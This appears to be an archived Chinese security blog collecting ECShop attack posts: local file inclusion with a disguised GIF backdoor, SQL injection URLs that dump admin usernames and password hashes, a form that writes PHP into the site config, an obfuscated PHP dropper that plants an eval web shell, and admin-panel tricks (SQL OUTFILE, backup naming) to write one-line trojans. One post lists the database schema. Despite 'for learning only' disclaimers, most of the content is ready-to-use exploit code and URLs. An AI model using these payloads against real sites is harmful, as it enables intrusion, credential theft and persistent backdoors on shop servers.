浏览模式: 标准 | 列表Tag:ecshop

ecshop最新版 (v272) 本地包含拿SHELL

Submitted by admin
2011, June 16, 10:26 AM

From:坏客技术博客

 直接看代码:

js/calendar.php
 
$lang = (!empty($_GET['lang']))
? trim($_GET['lang']) : ‘zh_cn’;//没有过滤,很明显的包含漏洞
 
if (!file_exists(‘../languages/’ . $lang . ‘/calendar.php’))
{
$lang = ‘zh_cn’;
}
 
require(dirname(dirname(__FILE__)) . ‘/data/config.php’);
header(‘Content-type: application/x-javascript; charset=’ . EC_CHARSET);
 
include_once(‘../languages/’ . $lang . ‘/calendar.php’);//这里包含,需要截断
 
 
 
 
 
前段时间一直徘徊在ecshop的网站上面。后面发现这个比较偏门的漏洞可以拿SHELL,简单说下利用方式。
 
伪造一个gif89a 头的GIF后门文件欺骗,然后注册商城帐号,在我要留言那里留言上传图片,然后利用包含直接拿SHELL!
 
网上的exp Url都是这样的  :http://www.*****.com/js/calendar.php?lang=../data/feedbackimg/6_20101228vyrpbg.gif%00.
 
想拿SHELL你就在点的后面加个php,很简单这样就可以识别为php文件执行脚本了。
 
如: js/calendar.php?lang=../data/feedbackimg/309_20110405qzitof.gif%00./1.php
 
直接 js/calendar.php?lang=../data/feedbackimg/309_20110405qzitof.gif%00.php 也可以的!
 
打开你上传后的gif伪图片经过以上漏洞构造的URL     <出现E文则成功>          <出现中文则失败>  
 
对了,如果利用中弹出下载,建议你使用菜刀连接。比较方便!
 
(弹出下载在之前是没有的。可能升级了~ 不过对此漏洞毫无影响。)
 
如果留言页面找不了的话在根目录加: user.php?act=message_list
 
打开无此页面的话就不可以利用了。
Tags: ecshop

后台-订单管理-订单打印-选择源代码编辑-保存
返回订单列表,随意选择一个订单打印,返回OK,生成一句话成功!
大小: 10.88 K
尺寸: 193 x 340
浏览: 77 次
点击打开新窗口浏览全图

转换后的代码:
大小: 13.79 K
尺寸: 500 x 112
浏览: 144 次
点击打开新窗口浏览全图

2.把转换后的代码写入订单打印模板(源码模式,写的时候注意两边加闭合):
大小: 14.81 K
尺寸: 500 x 170
浏览: 99 次
点击打开新窗口浏览全图

保存:
大小: 17.07 K
尺寸: 430 x 187
浏览: 52 次
点击打开新窗口浏览全图

跳回订单页面,选定一个订单点打印:
大小: 11.63 K
尺寸: 386 x 142
浏览: 49 次
点击打开新窗口浏览全图

提交解析上传成功:
大小: 16.09 K
尺寸: 487 x 118
浏览: 51 次
点击打开新窗口浏览全图

3.连接文件:
http://localhost/null.php
懒人就用下面的代码,连接文件为根目录下null.php,密码为 usb:

<?php
$filen=chr(46).chr(46).chr(47).chr(110).chr(117).chr(108).chr(108).chr(46).chr(112).chr(104).chr(112);
$filec=chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(117).chr(115).chr(98).chr(93).chr(41).chr(59).chr(63).chr(62);
$a=chr(119);
$fp=@fopen($filen,$a);
$msg=@fwrite($fp,$filec);
if($msg) echo chr(79).chr(75).chr(33);
@fclose($fp);
?>

图片附件:
大小: 28.73 K
尺寸: 500 x 199
浏览: 59 次
点击打开新窗口浏览全图

Tags: ecshop

ecshop最新版(v272) 本地包含漏洞ODAY(鸡肋)

Submitted by admin
2011, January 11, 5:52 PM

注:发布本文只是出于学习的目的,请勿用无非法用途!

很久前就发现了,今天发布出来吧,其实很简单,就是很多人没有注意这里:

直接看代码:
js/calendar.php

  1. $lang = (!empty($_GET['lang']))
  2. ? trim($_GET['lang']) : 'zh_cn';//没有过滤,很明显的包含漏洞 by: ℡Mr.LP
  3.  
  4. if (!file_exists('../languages/' . $lang . '/calendar.php'))
  5. {
  6. $lang = 'zh_cn';
  7. }
  8.  
  9. require(dirname(dirname(__FILE__)) . '/data/config.php');
  10. header('Content-type: application/x-javascript; charset=' . EC_CHARSET);
  11.  
  12. include_once('../languages/' . $lang . '/calendar.php');//这里包含,需要截断 by: ℡Mr.
复制代码

测试代码 :

// 需要 magic_quotes_gpc = Off

/js/calendar.php?lang=../index.php%00.(注意后面有个.)by: ℡Mr.LP

利用:

注册用户

然后上传GIF89a头的GIF文件欺骗,

然后包含 如:[img]http://www.lpboke.com/js/calendar.php?lang=../data/feedbackimg/6_20101228vyrpbg.gif%00.

Tags: ecshop, oday

ECshop 支付方式注射 0day

Submitted by admin
2011, January 5, 10:18 PM

ECshop 支付方式注射

发布日期:2011.1.5
挖掘作者:fjhgx(俺是农村的)
联系方式:bugtosafe@gmail.com
漏洞文件:lib_payment.php
漏洞函数:get_order_id_by_sn($order_sn, $voucher = 'false')


includes\lib_payment.php(ECSHOP 支付接口函数库)

 

(53行)
/**
*  通过订单sn取得订单ID
*  @param  string  $order_sn   订单sn
*  @param  blob    $voucher    是否为会员充值
*/
function get_order_id_by_sn($order_sn, $voucher = 'false')
{
    if ($voucher == 'true')                                //要想触发漏洞,需保证函数的第二个参数为真。
    {
        return $GLOBALS['db']->getOne("SELECT log_id FROM " . $GLOBALS['ecs']->table('pay_log') . " WHERE order_id=" . $order_sn . ' AND order_type=1');
                //漏洞位于$order_sn变量,触发原因未经过单引号过滤。from:fjhgx(俺是农村的)
    }
    else
    {
        if(is_numeric($order_sn))
        {
            $sql = 'SELECT order_id FROM ' . $GLOBALS['ecs']->table('order_info'). " WHERE order_sn = '$order_sn'";
            $order_id = $GLOBALS['db']->getOne($sql);
        }
        if (!empty($order_id))
        {
            $pay_log_id = $GLOBALS['db']->getOne("SELECT log_id FROM " . $GLOBALS['ecs']->table('pay_log') . " WHERE order_id='" . $order_id . "'");
            return $pay_log_id;
        }
        else
        {
            return "";
        }
    }
}

 

respond.php(ECSHOP 支付响应页面)

 

(56行)
/* 判断是否启用 */        //判断了支付方式,鸡肋了点。from: fjhgx(俺是农村的)
    $sql = "SELECT COUNT(*) FROM " . $ecs->table('payment') . " WHERE pay_code = '$pay_code' AND enabled = 1";
    if ($db->getOne($sql) == 0)
    {
        $msg = $_LANG['pay_disabled'];
    }
    else
    {
        $plugin_file = 'includes/modules/payment/' . $pay_code . '.php';                                //包含支付方式的文件,位于“includes\modules\payment”目录下。

        /* 检查插件文件是否存在,如果存在则验证支付是否成功,否则则返回失败信息 */
        if (file_exists($plugin_file))
        {
            /* 根据支付方式代码创建支付类的对象并调用其响应操作方法 */
            include_once($plugin_file);

            $payment = new $pay_code();
            $msg     = ($payment->respond()) ? $_LANG['pay_success'] : $_LANG['pay_fail'];
        }
        else
        {
            $msg = $_LANG['pay_not_exist'];
        }
    }

 

总共有三处可能触发的漏洞;
1.

  1. tenpay.php(200行)
  2. if ($attach == 'voucher')
  3.         {
  4.             $log_id = get_order_id_by_sn($sp_billno, "true");        //调用漏洞存在的函数,get_order_id_by_sn。from: fjhgx(俺是农村的)
  5.         }
  6.         else
  7.         {
  8.             $log_id = get_order_id_by_sn($sp_billno);
  9.         }
复制代码

2.

  1. cncard.php(207行)
  2. //验证通过后,将订单sn转换为ID 来操作ec订单表
  3.         if ($c_memo2 == 'voucher')
  4.         {
  5.             $c_order = get_order_id_by_sn($c_order, "true");        //注意 from:俺是农村的 bugtosafe@gmail.com
  6.         }
  7.         else
  8.         {
  9.             $c_order = get_order_id_by_sn($c_order);
  10.         }
复制代码

3.

  1. chinabank.php(156行)
  2. //验证通过后,将订单sn转换为ID 来操作ec订单表
  3.         $v_oid = get_order_id_by_sn($v_oid, "true");        //注意 from:俺是农村的 bugtosafe@gmail.com
  4.         }
  5.         else
  6.         {
  7.         $v_oid = get_order_id_by_sn($v_oid);
  8.         }
  9.  
  10.         if ($v_pstatus == '20')
  11.         {
  12.             /* 改变订单状态 */
  13.             order_paid($v_oid);
  14.  
  15.             return true;
  16.         }

漏洞验证:
respond.php?code=tenpay&attach=voucher&sp_billno=fjhgx
respond.php?code=cncard
respond.php?code=chinabank

EXP:
respond.php?code=tenpay&attach=voucher&sp_billno=1 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,count(*),0x27,0x7e) FROM `ecs`.ecs_admin_user)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1


纯属喜爱PHP,学习审核PHP源代码,未有任何意思。
此分析文章,只给学习PHP的人研究,不得用于非法用途。
一切有害、有益的结果于作者&狼族组织无任何关系。

 

=============

 

暴用户名:

http://site/respond.php?code=tenpay&attach=voucher&sp_billno=1%20and(select%201%20from(select%20count(*),concat((select%20(select%20(SELECT%20user_name%20FROM%20ecs_admin_user%20limit%200,1))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%20and%201=1

暴密码:

http://site/respond.php?code=tenpay&attach=voucher&sp_billno=1%20and(select%201%20from(select%20count(*),concat((select%20(select%20(SELECT%20user_name%20FROM%20ecs_admin_user%20limit%200,1))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%20and%201=1

如果表前缀被改如下所示:

MySQL server error report:Array ( [0] => Array ( [message] => MySQL Query Error ) [1] => Array ( [sql] => SELECT log_id FROM `aimeili`.`aml_pay_log` WHERE order_id=1 and(select 1 from(select count(*),concat((select (select (SELECT password FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 AND order_type=1 ) [2] => Array ( [error] => Table 'aimeili.ecs_admin_user' doesn't exist ) [3] => Array ( [errno] => 1146 ) )

只要修改ecs_admin_user为aml_admin_user即可

Tags: ecshop

ecshop v2.72 前台写shell漏洞

Submitted by admin
2010, November 27, 9:21 PM

by:xhm1n9 

<title>ecshop v2.72 前台写shell漏洞 by:xhm1n9</title>
<form method="post" name="register" action="http://127.1/ecshop2.72/demo/index.php">
<h3>ecshop v2.72 前台写shell漏洞</h3>利用方试:提交两次,第二次内容任意</br>
<input type="text" name="lang" size="80" value="');phpinfo();(_1_/../../../index" />
<input type="hidden" name="step" value="readme" />
<button class="submit" type="submit" name="regsubmit" value="true">提交</button>
</form>

<!-------------
 demo/index.php
 
 
 if (!empty($_POST['lang']))
{
    $lang_charset = explode('_', $_POST['lang']);
    $updater_lang = $lang_charset[0].'_'.$lang_charset[1];
    $ec_charset = $lang_charset[2];
}
........................................
 $updater_lang_package_path = ROOT_PATH . 'demo/languages/' . $updater_lang . '_' . $ec_charset .'.php';

if (file_exists($updater_lang_package_path))
{
    include_once($updater_lang_package_path);
    $smarty->assign('lang', $_LANG);
}
else
{
    die('Can\'t find language package!');
}

/* 初始化流程控制变量 */

$step = isset($_REQUEST['step']) ? $_REQUEST['step'] : 'sel_lang';

$smarty->assign('ec_charset', $ec_charset);
$smarty->assign('updater_lang', $updater_lang);
switch($step)
{
  case 'readme' :
    write_charset_config($updater_lang, $ec_charset);
 .......................................
 
 function write_charset_config($lang, $charset)
{
    $config_file = ROOT_PATH . 'data/config.php';
    $s = file_get_contents($config_file);
    $s = insertconfig($s, "/\?\>/","");
    $s = insertconfig($s, "/define\('EC_LANGUAGE',\s*'.*?'\);/i", "define('EC_LANGUAGE', '" . $lang . "');");
    $s = insertconfig($s, "/define\('EC_CHARSET',\s*'.*?'\);/i", "define('EC_CHARSET', '" . $charset . "');");
    $s = insertconfig($s, "/\?\>/","?>");
    return file_put_contents($config_file, $s);
}

----------------->
Tags: ecshop

ecshop2.72鸡肋注入

Submitted by admin
2010, November 15, 11:33 AM

by:xhm1n9 2010.11.11

     最近好像ecshop的问题蛮多的啊,看到T00LS有人发测试图出来,我也下了份来看看,看到一鸡肋注入。我没留意之前有没人发过此漏洞,见谅了。

/api.php
.........................
 switch ($_POST['act'])
{
    case 'search_goods_list': search_goods_list(); break;
   //............................
    default: api_err('0x008', 'no this type api');   //输出系统级错误:数据异常
}
.........................

 function search_goods_list()
{
    check_auth();           //检查基本权限 ~~~鸡肋了       

    $version = '1.0';   //版本号

    if ($_POST['api_version'] != $version)      //网店的接口版本低
    {
        api_err('0x008', 'a low version api');
    }

    if (is_numeric($_POST['last_modify_st_time']) && is_numeric($_POST['last_modify_en_time']))
    {
        $sql = 'SELECT COUNT(*) AS count' .
               ' FROM ' . $GLOBALS['ecs']->table('goods') .
               " WHERE is_delete = 0 AND is_on_sale = 1 AND (last_update > '" . $_POST['last_modify_st_time'] . "' OR last_update = 0)";
        $date_count = $GLOBALS['db']->getRow($sql);

        if (empty($date_count))
        {
            api_err('0x003', 'no data to back');    //无符合条件数据
        }

        $page = empty($_POST['pages']) ? 1 : $_POST['pages'];         //没过滤
        $counts = empty($_POST['counts']) ? 100 : $_POST['counts'];   //没过滤

     $sql = 'SELECT goods_id, last_update AS last_modify' .
               ' FROM ' . $GLOBALS['ecs']->table('goods') .
               " WHERE is_delete = 0 AND is_on_sale = 1 AND (last_update > '" . $_POST['last_modify_st_time'] . "' OR last_update = 0)".
               " LIMIT ".($page - 1) * $counts . ', ' . $counts;         //$counts也没用单引号包含   
        $date_arr = $GLOBALS['db']->getAll($sql);
  ..............................
}

function check_auth()
{
    $license = get_shop_license();  // 取出网店 license信息
    if (empty($license['certificate_id']) || empty($license['token']) || empty($license['certi']))
    {
        api_err('0x006', 'no certificate');   //没有证书数据,输出系统级错误:用户权限不够
    }

    if (!check_shopex_ac($_POST, $license['token']))
    {
        api_err('0x009');   //输出系统级错误:签名无效
    }

    /* 对应用申请的session进行验证 */
    $certi['certificate_id'] = $license['certificate_id']; // 网店证书ID
    $certi['app_id'] = 'ecshop_b2c'; // 说明客户端来源
    $certi['app_instance_id'] = 'webcollect'; // 应用服务ID
    $certi['version'] = VERSION . '#' .  RELEASE; // 网店软件版本号
    $certi['format'] = 'json'; // 官方返回数据格式
    $certi['certi_app'] = 'sess.valid_session'; // 证书方法
    $certi['certi_session'] = $_POST['app_session']; //应用服务器申请的session值
    $certi['certi_ac'] = make_shopex_ac($certi, $license['token']); // 网店验证字符串

    $request_arr = exchange_shop_license($certi, $license);
    if ($request_arr['res'] != 'succ')
    {
        api_err('0x001', 'session is invalid');   //输出系统级错误:身份验证失败
    }
}


function get_shop_license()
{
    // 取出网店 license
    $sql = "SELECT code, value
            FROM " . $GLOBALS['ecs']->table('shop_config') . "
            WHERE code IN ('certificate_id', 'token', 'certi')
            LIMIT 0,3";
    $license_info = $GLOBALS['db']->getAll($sql);
    $license_info = is_array($license_info) ? $license_info : array();
    $license = array();
    foreach ($license_info as $value)
    {
        $license[$value['code']] = $value['value'];
    }

    return $license;
}
      鸡肋的是check_auth()作了权限检查

exp:
<form name="p_form" id="p_form" method="post" action="http://127.1/ecshop2.72/api.php" enctype="multipart/form-data">
<input name='act' type="text" value="search_goods_list">
<input name='api_version' type="text" value="1.0">
<input name='last_modify_st_time' type="text" value="1">
<input name='last_modify_en_time' type="text" value="1">
<input name='pages' type="text" value="">
<input name='ac' type="text" value="ac">
<input name='counts' type="text" value="1 union select user(),2">
<input name="sub" type="submit" value="提交" />
</form>
Tags: ecshop

ecshop 通杀2.6*2.7 GBK版本 oday 爆路径 GetShell

Submitted by admin
2010, October 4, 6:05 PM

转载自:黑小子's Blog http://www.hackersb.com/article.asp?id=254

据说该0day是fjhgx(俺是农村的)大牛发现的。。。

Exp等黑小子发吧。。。或者自己手动也行。。。

以前很早的东西了  刚测试还可以用 至于有一些能不能搞 自行测试  这些东西都可以想起以前的兄弟们 我对这些已经不敢兴趣了 有什么好东西我会陆续放出 工具我会打包!



ecshop 通杀2.6*2.7 GBK版本 附上测试图!
大小: 191.17 K
尺寸: 500 x 354
浏览: 156 次
点击打开新窗口浏览全图大小: 135.02 K
尺寸: 500 x 378
浏览: 132 次
点击打开新窗口浏览全图大小: 109.57 K
尺寸: 500 x 340
浏览: 106 次
点击打开新窗口浏览全图大小: 29.68 K
尺寸: 457 x 254
浏览: 98 次
点击打开新窗口浏览全图大小: 126.66 K
尺寸: 500 x 389
浏览: 143 次
点击打开新窗口浏览全图

(射出编码 0x全部替换)


(替换后的编码)



(lcx的php注射工具 转换编码 From Hex 转换后得到MD5)

大小: 126.66 K
尺寸: 500 x 389
浏览: 110 次
点击打开新窗口浏览全图

ecshop GetShell
http://localhost/ECShop/demo/index.php?a=1111111111%00
爆路径
http://localhost/ECShop/includes\fckeditor\editor\dialog\fck_spellerpages\spellerpages\server-scripts/spellchecker.php

测试
http://localhost/api/checkorder.php?username=%CE%27 or 1=1 %23

 

=============

http://localhost/ecshop/api/checkorder.php?username=%ce%27%20and%201=2%20union%20select%201%20and%20%28select%201%20from%28select%20count%28*%29,concat%28%28Select%20concat%280x5b,user_name,0x3a,password,0x5d%29%20FROM%20ecs_admin_user%20limit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%20%23

 

附EXP

 

附件: ecshop 通杀2.62.7 gbk版本.rar (2.99 M, 下载次数:1309)

Tags: ecshop

ecshop后台拿shell的又一种方法

Submitted by admin
2010, September 27, 9:14 PM

作者:龙儿心[B.H.S.T]

看一个echsop的后台,版本未知。
网上流传的方法都测试了无用,可能是我没找全,无奈只好自己看下后台,发现此方法。
进入后台-系统设置-Flash播放器管理 看图
大小: 34.12 K
尺寸: 500 x 123
浏览: 229 次
点击打开新窗口浏览全图

可以上传任意文件。
结束

Tags: ecshop

ecshop SQL注射漏洞0821 0day

Submitted by admin
2010, August 22, 8:13 AM

漏洞概要缺陷编号: WooYun-2010-00248
漏洞标题: ecshop SQL注射漏洞
相关厂商: ecshop
漏洞作者: xsser
提交时间: 2010-08-21
公开时间: 2010-08-21
漏洞类型: SQL注射
危害等级: 高
漏洞状态: 未联系到厂商或者厂商积极忽略
漏洞来源: http://www.wooyun.org
--------------------------------------------------------------------------------
漏洞详情简要描述:在Ecshop中缺乏对参数的有效过滤,导致一个SQL注射漏洞,成功利用该漏洞的攻击者可以获得数据库及站点的完全权限。
详细说明:在include_libcommon.php中存在如下函数
function get_package_info($id)
{
    global $ecs, $db,$_CFG;

    $now = gmtime();

    $sql = "SELECT act_id AS id,  act_name AS package_name, goods_id , goods_name, start_time, end_time, act_desc, ext_info".
           " FROM " . $GLOBALS['ecs']->table('goods_activity') .
           " WHERE act_id='$id' AND act_type = " . GAT_PACKAGE;

    $package = $db->GetRow($sql);

    /* 将时间转成可阅读格式 */
    if ($package['start_time'] <= $now && $package['end_time'] >= $now)
    {
        $package['is_on_sale'] = "1";
    }
    else
    {
        $package['is_on_sale'] = "0";
    }
    $package['start_time'] = local_date('Y-m-d H:i', $package['start_time']);
    $package['end_time']   = local_date('Y-m-d H:i', $package['end_time']);
    $row = unserialize($package['ext_info']);
    unset($package['ext_info']);
    if ($row)
    {
        foreach ($row as $key=>$val)
        {
            $package[$key] = $val;
        }
    }

    $sql = "SELECT pg.package_id, pg.goods_id, pg.goods_number, pg.admin_id, ".
           " g.goods_sn, g.goods_name, g.market_price, g.goods_thumb, g.is_real, ".
           " IFNULL(mp.user_price, g.shop_price * '$_SESSION[discount]') AS rank_price " .
           " FROM " . $GLOBALS['ecs']->table('package_goods') . " AS pg ".
           "   LEFT JOIN ". $GLOBALS['ecs']->table('goods') . " AS g ".
           "   ON g.goods_id = pg.goods_id ".
           " LEFT JOIN " . $GLOBALS['ecs']->table('member_price') . " AS mp ".
                "ON mp.goods_id = g.goods_id AND mp.user_rank = '$_SESSION[user_rank]' ".
           " WHERE pg.package_id = " . $id. " ".
           " ORDER BY pg.package_id, pg.goods_id";

    $goods_res = $GLOBALS['db']->getAll($sql);

    $market_price        = 0;
其中$id没有经过严格过滤就直接进入了SQL查询,导致一个SQL注射漏洞。
漏洞证明:在系统的lib_order.php中存在一个该函数的调用

function add_package_to_cart($package_id, $num = 1)
{
    $GLOBALS['err']->clean();

    /* 取得礼包信息 */
    $package = get_package_info($package_id);

    if (empty($package))
    {
        $GLOBALS['err']->add($GLOBALS['_LANG']['goods_not_exists'], ERR_NOT_EXISTS);

        return false;
    }
在flow.php中存在可控的输入源

$package = $json->decode($_POST['package_info']);

    /* 如果是一步购物,先清空购物车 */
    if ($_CFG['one_step_buy'] == '1')
    {
        clear_cart();
    }

    /* 商品数量是否合法 */
    if (!is_numeric($package->number) || intval($package->number) <= 0)
    {
        $result['error']   = 1;
        $result['message'] = $_LANG['invalid_number'];
    }
    else
    {
        /* 添加到购物车 */
        if (add_package_to_cart($package->package_id, $package->number))
        {
            if ($_CFG['cart_confirm'] > 2)
$package->package_id来源于输入
修复方案:你猜啊~~~~
--------------------------------------------------------------------------------
漏洞回应厂商回应:未能联系到厂商或者厂商积极拒绝

 

==================================

by alibaba

漏洞有点鸡叻,必须有贩卖礼包才能注入
依该漏洞写了个exp,有图有真相

 

大小: 103.6 K
尺寸: 500 x 492
浏览: 72 次
点击打开新窗口浏览全图

package.zip

Tags: ecshop

ECSHOP数据库结构参数表结构说明

Submitted by admin
2010, August 13, 4:23 PM

刚刚需要导出ecshop里面的某些数据,找不到具体内容,

百度了一下搜索到这么一个数据表的结构说明,收藏一下,以备后用!

============

序言
本次信息整理只为了从事ECSHOP 二次开发人员方便之举,因此研究ECSHOP 官方数据结
构,如若与官方产生冲突,敬请谅解!此版本属于V2.1.15 此信息属于网上一位朋友注释!
另外ECSHOP V2.5 的表结构信息我正在整理中现在先把这份发布上来!QQ:381326730
表结构分析
ecs_account_log // 用户账目日志表
ecs_activity // 活动表(代码,名称,开始,结束,描述)
ecs_ad // 广告表(位置,类型,名称,链接,图片,开始,结束,广告主相关信息,点击,
是否显示)
ecs_admin_action // 管理权限分配(父类ID,权限代码)
ecs_admin_log // 管理日志(登陆时间,登陆管理员ID,操作描述,IP)
ecs_admin_message // 管理员留言(发送者ID,接收者ID,发送日期,阅读日期,是否
已读,是否删除,标题,内容)
ecs_admin_user // 管理员管理(用户名,email ,密码,加入时间,最后登陆时间,最后
登陆IP,权限等)
ecs_adsense // 广告相关统计(来源广告,来源位置,点击)
ecs_ad_position // 广告位(名称,宽,高,描述,样式)
ecs_area_region // 配送区域关联(配送区域ID,具体地址ID)
ecs_article // 文章(分类ID,标题,内容,作者,作者email ,关键字,类型,是否显示,
添加时间,文件地址,打开类型)
ecs_article_cat // 文章分类(名称,类型,关键字,描述,排序,是否导航显示)
ecs_attribute // 商品属性(分类,名称,选择样式,类型,值,检索类型,排序,是否关
联)
ecs_bonus_type // 红包(名称,金额,发放起始日期,发放结束日期,使用起始日期,使
用结束日期,发放类型,金额下限(按订单发放),金额上限)
ecs_booking_goods // 缺货登记(登记用户ID,email ,电话,商品ID,描述,数量,登
记时间,是否已处理,处理管理员,处理时间,处理备注)
ecs_brand // 品牌(名称,logo,描述,链接,排序,是否显示)
ecs_card // 祝福贺卡(名称,图片,费用,免费额度,描述)
ecs_cart // 购物车(用户ID,session_id ,商品ID,商品编号,商品名称,市场价,购买
价,数量,属性,是否真实商品,扩展代码,父类ID,类型,是否赠品,能否处理)
ecs_category // 商品分类(名称,关键字,描述,父类ID,排序,是否有子类,模板文件,
数量单位,是否导航显示)
ecs_collect_goods // 收藏(用户ID,商品ID,收藏时间)
ecs_comment // 评论(类型,类型ID,email ,用户名,内容,评星,添加时间,IP,状
态,父类ID)
ecs_feedback // 用户留言(父类ID,用户ID,用户名,email,标题,类型,内容,时间,
图片,是否回复)
ecs_friend_link // 友情链接(名称,链接,logo,排序)
ecs_gift // 赠品(送赠品活动ID,商品ID,赠品价格)
ecs_gift_type // 送赠品活动(名称,发送类型,相关参数,数量,开始,结束)
ecs_goods // 商品(分类ID,名称,点击,品牌ID,供应商名称,库存,重量,市场价,
售价,fitting_price(未知),促销价,促销开始日期,结束日期,警告数量,关键字,简介,
描述,缩略图,图,原图,是否真实商品,扩展代码,是否上架,是否单独销售,是否关联,
配件关联,是否赠品,能否成为赠品,单位,添加时间,排序,是否回收,精品,新品,推
荐,热销,红包ID,更新日期,商品类型,商品备注,首页轮播)
ecs_goods_article // 商品文章关联(gid,aid )
ecs_goods_attr // 商品属性(商品ID,属性ID,属性值,属性附加价)
ecs_goods_cat // 未知
ecs_gallery // 商品相册(商品ID,图片,描述,缩略图,原图)
ecs_goods_type // 商品类型(名称,状态)
ecs_group_buy // 团购(商品ID,结束日期,价格阶梯,限购数量,描述,订购量,订单,
赠送积分数,流程,押金,是否完成)
ecs_group_goods // 配件(父类ID,商品ID,配件价格)
ecs_link_goods // 商品关联(商品ID,关联ID,单双向)
ecs_mail_templates // 邮件样式(代码,是否html,名称,样式,最后修改日期)
ecs_member_price // 会员价(商品ID,会员等级,会员价)
ecs_order_action // 订单处理(订单ID,处理用户,订单状态,配送状态,支付状态,处
理时间,备注)
ecs_order_goods // 订单-商品(订单ID,商品ID,商品名称,商品编号,商品数量,市
场价,订单价,商品属性,配送数量,是否真实商品,扩展代码,父类ID,是否赠品)
ecs_order_info // 订单信息(好多(-_-|||略...)
ecs_pack // 包装(名称,图片,费用,免费额,描述)
ecs_payment // 支付工具(代码,名称,费用,描述,排序,配置,状态,is_cod(未知))
ecs_pay_log // 支付记录(略)
ecs_plugins // 插件(代码,版本,库,签名,安装日期)
ecs_region // 地方数据(没什么好说的)
ecs_sessions // 保存session 的(也没什么好说的(嗯?为什么要加个“也”呢))
ecs_shipping // 配送(代码,名称,描述,保价费,support_cod(未知),状态)
ecs_shipping_area // 配送区域(序列配置)
ecs_shop_config // 设置(父类ID,代码,类型,范围,文件夹,值)
ecs_snatch // 夺宝奇兵(活动ID,商品ID,最小价,最大价,定价,积分消耗)
ecs_snatch_log // 夺宝奇兵出价记录(还是没什么好说的)
ecs_stats // 访问记录(时间,IP,访问次数,浏览器,系统,语言,地区,来源域名,来
源地址,关键字,进入链接)
ecs_tag // 用户标签(不说)
ecs_template // 模板区域(文件名,区域,模板库,排序,id,数量,类型,模板)也不
怎么清楚
ecs_users // 会员(一些会员信息)
ecs_user_account // 会员帐户(用户ID,管理员,总额,添加时间,支付时间,管理备注,
用户备注,处理类型,支付工具,是否支付)
ecs_user_address // 用户收货地址(略)
ecs_user_bonus // 用户红包(红包ID,红包编号,用户ID,使用时间,订单ID,是否已
发邮件)
ecs_user_rank // 会员等级(名称,积分最小限额,最大限额,折扣,是否显示价格,特
殊会员)
ecs_virtual_cart // 虚拟卡(商品ID,卡号,密码,添加时间,失效时间,是否已卖完,
编号,crc32 校验码)
ecs_vote // 投票(名称,开始,结束,能否多选,统计)
ecs_vote_log // 投票记录(投票ID,IP,时间)
ecs_vote_option // 投票内容(投票ID,条目名称,条目统计)

Tags: ecshop

再说两种ecshop后台拿shell的方法

Submitted by admin
2010, July 19, 10:35 AM


ecshop后台拿shell的方法,除了oldjun大牛的那个和上次说的那个,又发现两种。但是各有个的限制条件,听我一一道来。
 
其一:
ecshop后台有一个功能是sql查询,如图:

大小: 7.71 K
尺寸: 243 x 109
浏览: 48 次
点击打开新窗口浏览全图

其实感觉在一个管理系统的后台放这么个功能根本没用,有多少网站管理员有这么高的觉悟,会用这个?
不过也不错,便宜了我们小菜拿shell。
方法就像phpmyadmin一样直接操作sql语句导出一句话木马拿shell。
语句如下:
show databases;
use 数据库名;
 create a(cmd text not null);
 insert into a(cmd) values('<?php eval($_POST[cmd]);?>');
select cmd from a into outfile '导出路径';
drop table if exists a;
很常规的语句。也许有人会问不知道网站路径怎么办,那要导出到哪呢?这里有一个技巧就是 use 数据库名; 这句话,其实在这个sql查询功能中默认用的数据库就是本网站的数据库,开发者设计的时候不会考虑你去use 其他的数据库,所以这里你用"use 数据名库"这句时,会产生一个警告,但并不影响sql的运行,却可以成功爆出网站的路径,多次测试均成功,如图:

大小: 30.78 K
尺寸: 500 x 183
浏览: 90 次
点击打开新窗口浏览全图
这样就爆出了路径,用于导出。
但是有个问题是你最后outfile文件时如果不是mysql的root权限,是没有权限导出的,所以这种方法必须要求你的mysql权限为root。
其二
另外一种是利用ecshop后台的数据库备份功能。如图:

大小: 31.35 K
尺寸: 500 x 227
浏览: 67 次
点击打开新窗口浏览全图
这里选择自定义备份,目的是使你备份出来的文件尽量的小,要是太大的话也很麻烦。
然后去前台留个言,内容是我们的一句话木马,接着在后台选择备份ecs_feedback这张表,就是存放留言的表,如图:大小: 37.25 K
尺寸: 500 x 147
浏览: 52 次
点击打开新窗口浏览全图

然后会显示备份成功。
但是ecshop备份的文件都强行会在你填的备份的名字后面加上.sql扩展名(元备份名我填的是l4yn3.php),如图。

大小: 5.6 K
尺寸: 307 x 191
浏览: 52 次
点击打开新窗口浏览全图

这么做无非就是提高安全性,可是设计者忽略了一个问题,如果php是在apache下运行的,利用apache的文件解析漏洞这种方式形同虚设。
因为apache有个漏洞就是对文件名是1.php.sql这种形式,只要最后的文件扩展名是apache不能能解析的,他就会按照php文件来解析它,那在这里sql文件就是apache不能够解析的文件,那么他理所当然会把这个文件当作php文件来执行。
所以如果是apache+php的话,即使文件名变成了上面这样,也可以正常解析,你所需要做的就是点一下备份后的链接。
所以您看出来了,这种拿shell的方式是需要你的环境是apache+php的。
 而且还有个条件是GPC魔术转换不能开启,所以也很鸡肋。
两种方式没有上次说的那位大牛的那么通杀,只是给大家提供个思路,仅此而已。
由于之前是用shell测试的,可是写文章的时候是在本地测试,环境有点问题,第二种方式一句话成功解析的图就不截了,请见谅。
没什么技术,欢迎光临l4yn3的个人博客。
PS:关于apache的文件解析漏洞,看这个吧:http://blog.fir3bug.com/?p=264

Tags: ecshop

ECSHOP最新后台拿webshell之鸡肋方法

Submitted by admin
2010, May 20, 6:32 PM

本方法优点就是非超级管理员也可以做到
操作简单,就不上图了

1、添加会员,插入一句话
2、备份数据---自定义备份---选“XXX_users”
   (其中XXX因各站而异,是数据前缀)
3、备份文件名为X.php;X.SQL
4、一句话客户端连接X.php;X.SQL,地址一般为 http://www.XXX.com/data/sqldata/X.php;X.SQL

(比较鸡肋)
OK~
 
来源:3est
 
